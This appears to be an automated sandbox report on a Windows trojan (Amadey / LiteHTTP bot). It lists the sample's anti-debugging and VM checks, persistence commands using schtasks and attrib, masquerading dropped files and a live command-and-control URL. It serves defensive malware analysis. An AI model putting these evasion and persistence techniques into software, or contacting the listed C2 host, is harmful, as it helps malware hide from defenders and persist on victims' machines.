Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36377	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36252	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36127	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 36017	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35877	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35752	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35642	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35502	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35393	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35252	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 35142	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34978	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34487	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34362	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34237	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 34111	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33986	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33862	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33736	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33611	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33486	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33361	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33236	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 33111	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 32987	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 32861	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 32736	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 32612	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 32486	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread delayed: delay time: 32346	Jump to behavior

Source: DQmU06kq9I.exe, DQmU06kq9I.exe, 00000009.00000002.4541299248.00000000006ED000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: HARDWARE\ACPI\DSDT\VBOX__
Source: DQmU06kq9I.exe, 00000000.00000003.2732563595.00000000086D2000.00000004.00000020.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4551880694.00000000086D2000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll2_m,
Source: DQmU06kq9I.exe, 00000009.00000002.4553100366.000000000916B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll-[vk
Source: DQmU06kq9I.exe, 00000009.00000003.3530428715.00000000010B3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\Device\CdRom0\??\Volume{a33c736e-61ca-11ee-8c18-806e6f6e6963}\DosDevices\D:
Source: DQmU06kq9I.exe, 00000000.00000002.4541180333.00000000006ED000.00000040.00000001.01000000.00000003.sdmp, DQmU06kq9I.exe, 00000008.00000002.4541522203.00000000006ED000.00000040.00000001.01000000.00000003.sdmp, DQmU06kq9I.exe, 00000009.00000002.4541299248.00000000006ED000.00000040.00000001.01000000.00000003.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

System information queried: ModuleInformation

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Process information queried: ProcessInformation

Hides threads from debuggers

Anti Debugging

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Thread information set: HideFromDebugger	Jump to behavior

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: NTICE
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: SICE
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	File opened: SIWVID

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process queried: DebugPort	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process token adjusted: Debug			Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process token adjusted: Debug			Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Memory allocated: page read and write | page guard

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "C:\Windows\System32\schtasks.exe" /create /f /sc onlogon /tn "DQmU06kq9I" /tr "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\schtasks.exe "schtasks" /Query /TN "DQmU06kq9I"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Process created: C:\Windows\SysWOW64\attrib.exe "attrib.exe" +h +s "C:\Users\user\Desktop\DQmU06kq9I.exe"	Jump to behavior

Source: DQmU06kq9I.exe, DQmU06kq9I.exe, 00000009.00000002.4541299248.00000000006ED000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: 5Program Manager

Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\Microsoft.CSharp\v4.0_4.0.0.0__b03f5f7f11d50a3a\Microsoft.CSharp.dll VolumeInformation	Jump to behavior
Source: C:\Users\user\Desktop\DQmU06kq9I.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Dynamic\v4.0_4.0.0.0__b03f5f7f11d50a3a\System.Dynamic.dll VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\DQmU06kq9I.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Yara detected LiteHTTP Bot

Stealing of Sensitive Information

Source: Yara match	File source: 9.2.DQmU06kq9I.exe.8ba0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DQmU06kq9I.exe.8740000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.9060000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.8c00000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DQmU06kq9I.exe.82e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.87a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2782245640.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4552478393.0000000008BA2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4541221969.0000000000552000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4541067680.0000000000552000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4541316207.0000000000552000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4552255837.0000000008742000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4552402541.0000000008C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061776239.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4552122250.00000000087A2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2654669900.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4552952321.0000000009062000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4552061627.00000000082E2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DQmU06kq9I.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DQmU06kq9I.exe PID: 2000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DQmU06kq9I.exe PID: 2680, type: MEMORYSTR

Remote Access Functionality

Yara detected LiteHTTP Bot

Source: Yara match	File source: 9.2.DQmU06kq9I.exe.8ba0000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DQmU06kq9I.exe.8740000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.9060000.3.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.8c00000.2.unpack, type: UNPACKEDPE
Source: Yara match	File source: 9.2.DQmU06kq9I.exe.82e0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 8.2.DQmU06kq9I.exe.550000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.DQmU06kq9I.exe.87a0000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000009.00000003.2782245640.0000000004BD0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4552478393.0000000008BA2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4541221969.0000000000552000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4541067680.0000000000552000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000002.4541316207.0000000000552000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4552255837.0000000008742000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4552402541.0000000008C02000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000003.2061776239.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4552122250.00000000087A2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000008.00000003.2654669900.0000000004BA0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.4552952321.0000000009062000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000009.00000002.4552061627.00000000082E2000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: DQmU06kq9I.exe PID: 5440, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DQmU06kq9I.exe PID: 2000, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: DQmU06kq9I.exe PID: 2680, type: MEMORYSTR

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	121 Windows Management Instrumentation	1 Scheduled Task/Job	12 Process Injection	1 Masquerading	OS Credential Dumping	841 Security Software Discovery	Remote Services	1 Archive Collected Data	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	22 Command and Scripting Interpreter	2 Registry Run Keys / Startup Folder	1 Scheduled Task/Job	1 Disable or Modify Tools	LSASS Memory	2 Process Discovery	Remote Desktop Protocol	Data from Removable Media	1 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Scheduled Task/Job	1 DLL Side-Loading	2 Registry Run Keys / Startup Folder	371 Virtualization/Sandbox Evasion	Security Account Manager	371 Virtualization/Sandbox Evasion	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	1 DLL Side-Loading	12 Process Injection	NTDS	1 Application Window Discovery	Distributed Component Object Model	Input Capture	Protocol Impersonation	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	2 Obfuscated Files or Information	LSA Secrets	1 File and Directory Discovery	SSH	Keylogging	Fallback Channels	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	12 Software Packing	Cached Domain Credentials	324 System Information Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	1 DLL Side-Loading	DCSync	Remote System Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
DQmU06kq9I.exe	61%	ReversingLabs	Win32.Trojan.Amadey
DQmU06kq9I.exe	35%	Virustotal		Browse
DQmU06kq9I.exe	100%	Joe Sandbox ML

Dropped Files

Source	Detection	Scanner	Label
C:\Users\user\OneDrive\msbuild.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\mozilla maintenance service.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\jdownloader.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\msecache.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\google.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\windows mail.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\common files.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\java.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\windows defender.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\microsoft.net.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\microsoft.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\reference assemblies.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\microsoft office.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\internet explorer.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\autoit3.exe	100%	Joe Sandbox ML
C:\Users\user\OneDrive\autoit3.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\common files.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\google.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\internet explorer.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\java.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\jdownloader.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\mavdwwsoqjljtvhgturlqfwslqtpryboqwmbsicodmvqkq.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\microsoft office.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\microsoft.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\microsoft.net.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\mozilla maintenance service.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\msbuild.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\msecache.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\reference assemblies.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows defender.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows mail.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows media player.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows multimedia platform.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows nt.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows photo viewer.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows portable devices.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windows sidebar.exe	61%	ReversingLabs	Win32.Trojan.Amadey
C:\Users\user\OneDrive\windowspowershell.exe	61%	ReversingLabs	Win32.Trojan.Amadey

Source	Detection	Scanner	Label
http://185.208.159.109/panel/page.php	0%	Avira URL Cloud	safe
http://185.208.159.109/panel/page.phpP	0%	Avira URL Cloud	safe
http://185.208.159.109/panel/page.php9	0%	Avira URL Cloud	safe
http://185.208.159.109	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
fp2e7a.wpc.phicdn.net	192.229.221.95	true	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://185.208.159.109/panel/page.php	true	Avira URL Cloud: safe	unknown

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
http://185.208.159.109/panel/page.phpP	DQmU06kq9I.exe, 00000000.00000002.4547997981.000000000521C000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4547997981.0000000005280000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4547997981.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4547997981.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.000000000507E000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.0000000005037000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.00000000050B0000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.0000000004FB8000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://185.208.159.109/panel/page.php9	DQmU06kq9I.exe, 00000009.00000002.4542857867.00000000010F7000.00000004.00000020.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000003.3530428715.00000000010F7000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown
http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name	DQmU06kq9I.exe, 00000000.00000002.4547997981.000000000521C000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.0000000004FB8000.00000004.00000800.00020000.00000000.sdmp	false		high
http://185.208.159.109	DQmU06kq9I.exe, 00000000.00000002.4547997981.0000000005280000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4547997981.00000000053C8000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4547997981.000000000526E000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000000.00000002.4547997981.00000000052A8000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.00000000050D8000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.000000000507E000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.0000000005037000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.00000000050B0000.00000004.00000800.00020000.00000000.sdmp, DQmU06kq9I.exe, 00000009.00000002.4548078774.0000000005026000.00000004.00000800.00020000.00000000.sdmp	false	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
185.208.159.109	unknown	Switzerland		34888	SIMPLECARRER2IT	true

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1576609
Start date and time:	2024-12-17 10:18:18 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 12m 12s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	45
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Sample name:	DQmU06kq9I.exe renamed because original name is a hash value
Original Sample Name:	d37dab4c59e707f632bb0b91eaa87ff9.exe
Detection:	MAL
Classification:	mal100.troj.evad.mine.winEXE@53/47@0/1
EGA Information:	Successful, ratio: 33.3%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe Override analysis time to 240000 for current running targets taking high CPU consumption

Warnings

Behavior information exceeds normal sizes, reducing to normal. Report will have missing behavior information.
Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 172.202.163.200, 13.107.246.63
Excluded domains from analysis (whitelisted): crl.edge.digicert.com, ocsp.digicert.com, slscr.update.microsoft.com, otelrules.azureedge.net, ctldl.windowsupdate.com, crl3.digicert.com, fe3cr.delivery.mp.microsoft.com
Execution Graph export aborted for target DQmU06kq9I.exe, PID 2000 because it is empty
Execution Graph export aborted for target DQmU06kq9I.exe, PID 2680 because it is empty
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Report size getting too big, too many NtQueryVolumeInformationFile calls found.
Report size getting too big, too many NtReadVirtualMemory calls found.
Report size getting too big, too many NtSetInformationFile calls found.

Simulations

Behavior and APIs

Time	Type	Description
04:19:10	API Interceptor	7273251x Sleep call for process: DQmU06kq9I.exe modified
10:20:07	Task Scheduler	Run new task: DQmU06kq9I path: C:\Users\user\Desktop\DQmU06kq9I.exe
10:20:11	Autostart	Run: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\DQmU06kq9I.lnk

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.208.159.109	file.exe	Get hash	malicious	LummaC, Amadey, Credential Flusher, LiteHTTP Bot, LummaC Stealer, Stealc, Xmrig	Browse	185.208.159.109/panel/page.php

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
fp2e7a.wpc.phicdn.net	3fX4NR35LH.exe	Get hash	malicious	Cryptbot	Browse	192.229.221.95
